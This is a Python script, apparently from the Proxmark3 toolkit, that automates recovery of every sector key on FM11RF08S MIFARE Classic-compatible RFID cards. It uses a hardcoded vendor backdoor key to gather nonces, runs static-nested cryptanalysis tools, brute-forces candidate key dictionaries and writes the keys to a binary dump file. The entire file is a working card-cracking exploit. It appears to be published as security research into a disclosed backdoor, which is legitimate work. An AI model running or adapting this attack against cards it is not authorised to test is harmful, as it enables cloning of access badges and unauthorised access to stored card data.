#!/usr/bin/env python3 # Combine several attacks to recover all FM11RF08S keys # # Conditions: # * Presence of the backdoor with known key # # Duration strongly depends on some key being reused and where. # Examples: # * 32 random keys: ~20 min # * 16 random keys with keyA==keyB in each sector: ~30 min # * 24 random keys, some reused across sectors: <1 min # # Doegox, 2024 import time import subprocess import pm3 from output_grabber import OutputGrabber BACKDOOR_RF08S = "A396EFA4E24F" NUM_SECTORS = 16 # Run an initial check with the default keys INITIAL_CHECK = True # Run a final check with the found keys, mostly for validation FINAL_CHECK = True TOOLS_PATH = "tools/mfc/card_only" STATICNESTED_1NT = f"{TOOLS_PATH}/staticnested_1nt" STATICNESTED_2X1NT = f"{TOOLS_PATH}/staticnested_2x1nt_rf08s" STATICNESTED_2X1NT1KEY = f"{TOOLS_PATH}/staticnested_2x1nt_rf08s_1key" DEBUG = False start_time = time.time() out = OutputGrabber() p = pm3.pm3() restore_color = False with out: p.console("prefs get color") p.console("prefs set color --off") for line in out.captured_output.split('\n'): if "ansi" in line: restore_color = True with out: p.console("hf 14a read") uid = None for line in out.captured_output.split('\n'): if "UID:" in line: uid = int(line[10:].replace(' ', ''), 16) if uid is None: print("Card not found") if restore_color: with out: p.console("prefs set color --ansi") exit() print(f"UID: {uid:08X}") found_keys = [["", ""] for _ in range(NUM_SECTORS)] if INITIAL_CHECK: print("Checking default keys...") with out: p.console("hf mf fchk") for line in out.captured_output.split('\n'): if "[+] 0" in line: res = [x.strip() for x in line.split('|')] sec = int(res[0][4:]) if res[3] == '1': found_keys[sec][0] = res[2] print(f"Sector {sec:2} keyA = {found_keys[sec][0]}") if res[5] == '1': found_keys[sec][1] = res[4] print(f"Sector {sec:2} keyB = {found_keys[sec][1]}") nt = [["", ""] for _ in range(NUM_SECTORS)] nt_enc = [["", ""] for _ in range(NUM_SECTORS)] par_err = [["", ""] for _ in range(NUM_SECTORS)] print("Getting nonces...") with out: for sec in range(NUM_SECTORS): blk = sec * 4 if found_keys[sec][0] == "" or found_keys[sec][1] == "": # Even if one key already found, we'll need both nt for key_type in [0, 1]: cmd = f"hf mf isen -n1 --blk {blk} -c {key_type+4} --key {BACKDOOR_RF08S}" p.console(cmd) cmd += f" --c2 {key_type}" p.console(cmd) print("Processing traces...") for line in out.captured_output.split('\n'): if "nested cmd: 64" in line or "nested cmd: 65" in line: sec = int(line[24:26], 16)//4 key_type = int(line[21:23], 16) - 0x64 data = line[65:73] nt[sec][key_type] = data if "nested cmd: 60" in line or "nested cmd: 61" in line: sec = int(line[24:26], 16)//4 key_type = int(line[21:23], 16) - 0x60 data = line[108:116] nt_enc[sec][key_type] = data data = line[128:136] par_err[sec][key_type] = data print("Running staticnested_1nt & 2x1nt when doable...") keys = [[set(), set()] for _ in range(NUM_SECTORS)] all_keys = set() duplicates = set() # Availability of filtered dicts filtered_dicts = [[False, False] for _ in range(NUM_SECTORS)] for sec in range(NUM_SECTORS): if found_keys[sec][0] != "" and found_keys[sec][1] != "": continue if found_keys[sec][0] == "" and found_keys[sec][1] == "" and nt[sec][0] != nt[sec][1]: for key_type in [0, 1]: cmd = [STATICNESTED_1NT, f"{uid:08X}", f"{sec}", nt[sec][key_type], nt_enc[sec][key_type], par_err[sec][key_type]] if DEBUG: print(' '.join(cmd)) subprocess.run(cmd, capture_output=True) cmd = [STATICNESTED_2X1NT, f"keys_{uid:08x}_{sec:02}_{nt[sec][0]}.dic", f"keys_{uid:08x}_{sec:02}_{nt[sec][1]}.dic"] if DEBUG: print(' '.join(cmd)) subprocess.run(cmd, capture_output=True) filtered_dicts[sec][key_type] = True for key_type in [0, 1]: with (open(f"keys_{uid:08x}_{sec:02}_{nt[sec][key_type]}_filtered.dic")) as f: keys_set = set() while line := f.readline().rstrip(): if line not in keys_set: keys_set.add(line) keys[sec][key_type] = keys_set duplicates.update(all_keys.intersection(keys_set)) all_keys.update(keys_set) else: # one key not found or both identical if found_keys[sec][0] == "": key_type = 0 else: key_type = 1 cmd = [STATICNESTED_1NT, f"{uid:08X}", f"{sec}", nt[sec][key_type], nt_enc[sec][key_type], par_err[sec][key_type]] if DEBUG: print(' '.join(cmd)) subprocess.run(cmd, capture_output=True) with (open(f"keys_{uid:08x}_{sec:02}_{nt[sec][key_type]}.dic")) as f: keys_set = set() while line := f.readline().rstrip(): if line not in keys_set: keys_set.add(line) keys[sec][key_type] = keys_set duplicates.update(all_keys.intersection(keys_set)) all_keys.update(keys_set) print("Looking for common keys across sectors...") keys_filtered = [[set(), set()] for _ in range(NUM_SECTORS)] for dup in duplicates: for sec in range(NUM_SECTORS): for key_type in [0, 1]: if dup in keys[sec][key_type]: keys_filtered[sec][key_type].add(dup) if nt[sec][0] == nt[sec][1] and key_type == 0 and keys[sec][1] == set() and found_keys[sec][1] == "": keys_filtered[sec][1].add(dup) continue # Availability of duplicates dicts duplicates_dicts = [[False, False] for _ in range(NUM_SECTORS)] first = True for sec in range(NUM_SECTORS): for key_type in [0, 1]: if len(keys_filtered[sec][key_type]) > 0: if first: print("Saving duplicates dicts...") first = False with (open(f"keys_{uid:08x}_{sec:02}_{nt[sec][key_type]}_duplicates.dic", "w")) as f: for k in keys_filtered[sec][key_type]: f.write(f"{k}\n") duplicates_dicts[sec][key_type] = True abort = False print("Brute-forcing keys... Press any key to interrupt") for sec in range(NUM_SECTORS): for key_type in [0, 1]: # If we have a duplicates dict # note: we skip if we already know one key # as using 2x1nt1key later will be faster if found_keys[sec][0] == "" and found_keys[sec][1] == "" and duplicates_dicts[sec][key_type]: kt = ['a', 'b'][key_type] dic = f"keys_{uid:08x}_{sec:02}_{nt[sec][key_type]}_duplicates.dic" cmd = f"hf mf fchk --blk {sec * 4} -{kt} -f {dic} --no-default" if DEBUG: print(cmd) with out: p.console(cmd) for line in out.captured_output.split('\n'): if "aborted via keyboard" in line: abort = True if "found:" in line: found_keys[sec][key_type] = line[30:] kt = ['A', 'B'][key_type] print(f"Sector {sec:2} key{kt} = {found_keys[sec][key_type]}") if nt[sec][0] == nt[sec][1] and found_keys[sec][key_type ^ 1] == "": found_keys[sec][key_type ^ 1] = found_keys[sec][key_type] kt = ['A', 'B'][key_type ^ 1] print(f"Sector {sec:2} key{kt} = {found_keys[sec][key_type ^ 1]}") if abort: break if abort: break for key_type in [0, 1]: # If we have a filtered dict # note: we skip if we already know one key # as using 2x1nt1key later will be faster if found_keys[sec][0] == "" and found_keys[sec][1] == "" and filtered_dicts[sec][key_type]: # Use filtered dict kt = ['a', 'b'][key_type] dic = f"keys_{uid:08x}_{sec:02}_{nt[sec][key_type]}_filtered.dic" cmd = f"hf mf fchk --blk {sec * 4} -{kt} -f {dic} --no-default" if DEBUG: print(cmd) with out: p.console(cmd) for line in out.captured_output.split('\n'): if "aborted via keyboard" in line: abort = True if "found:" in line: found_keys[sec][key_type] = line[30:] kt = ['A', 'B'][key_type] print(f"Sector {sec:2} key{kt} = {found_keys[sec][key_type]}") if abort: break if abort: break # If one common key for the sector if found_keys[sec][0] == "" and found_keys[sec][1] == "" and nt[sec][0] == nt[sec][1]: key_type = 0 # Use regular dict kt = ['a', 'b'][key_type] dic = f"keys_{uid:08x}_{sec:02}_{nt[sec][key_type]}.dic" cmd = f"hf mf fchk --blk {sec * 4} -{kt} -f {dic} --no-default" if DEBUG: print(cmd) with out: p.console(cmd) for line in out.captured_output.split('\n'): if "aborted via keyboard" in line: abort = True if "found:" in line: found_keys[sec][0] = line[30:] found_keys[sec][1] = line[30:] print(f"Sector {sec:2} keyA = {found_keys[sec][key_type]}") print(f"Sector {sec:2} keyB = {found_keys[sec][key_type]}") if abort: break # If one key is missing, use the other one with 2x1nt1key if ((found_keys[sec][0] == "") ^ (found_keys[sec][1] == "")) and nt[sec][0] != nt[sec][1]: if (found_keys[sec][0] == ""): key_type_source = 1 key_type_target = 0 else: key_type_source = 0 key_type_target = 1 if duplicates_dicts[sec][key_type_target]: dic = f"keys_{uid:08x}_{sec:02}_{nt[sec][key_type_target]}_duplicates.dic" elif filtered_dicts[sec][key_type_target]: dic = f"keys_{uid:08x}_{sec:02}_{nt[sec][key_type_target]}_filtered.dic" else: dic = f"keys_{uid:08x}_{sec:02}_{nt[sec][key_type_target]}.dic" cmd = [STATICNESTED_2X1NT1KEY, nt[sec][key_type_source], found_keys[sec][key_type_source], dic] if DEBUG: print(' '.join(cmd)) result = subprocess.run(cmd, capture_output=True, text=True).stdout keys = set() for line in result.split('\n'): # print(line) if "MATCH:" in line: keys.add(line[12:]) if len(keys) > 1: kt = ['a', 'b'][key_type_target] cmd = f"hf mf fchk --blk {sec * 4} -{kt} --no-default" for k in keys: cmd += f" -k {k}" if DEBUG: print(cmd) with out: p.console(cmd) for line in out.captured_output.split('\n'): if "aborted via keyboard" in line: abort = True if "found:" in line: found_keys[sec][key_type_target] = line[30:] elif len(keys) == 1: found_keys[sec][key_type_target] = keys.pop() if found_keys[sec][key_type_target] != "": kt = ['A', 'B'][key_type_target] print(f"Sector {sec:2} key{kt} = {found_keys[sec][key_type_target]}") if abort: break if restore_color: with out: p.console("prefs set color --ansi") if abort: print("Brute-forcing phase aborted via keyboard!") FINAL_CHECK = False if FINAL_CHECK: print("Letting fchk do a final dump, just for confirmation and display...") keys_set = set([i for sl in found_keys for i in sl if i != ""]) with (open(f"keys_{uid:08x}.dic", "w")) as f: for k in keys_set: f.write(f"{k}\n") cmd = f"hf mf fchk -f keys_{uid:08x}.dic --no-default --dump" if DEBUG: print(cmd) with out: p.console(cmd) for line in out.captured_output.split('\n'): print(line) else: print(found_keys) print("Generating binary key file") keyfile = f"hf-mf-{uid:08X}-key.bin" with (open(keyfile, "wb")) as f: for key_type in [0, 1]: for sec in range(NUM_SECTORS): k = found_keys[sec][key_type] if k == "": k = "FFFFFFFFFFFF" f.write(bytes.fromhex(k)) print(f"Found keys have been dumped to `{keyfile}`") print(" --[ FFFFFFFFFFFF ]-- has been inserted for unknown keys") elapsed_time = time.time() - start_time minutes = int(elapsed_time // 60) seconds = int(elapsed_time % 60) print(f"--- {minutes} minutes {seconds} seconds ---")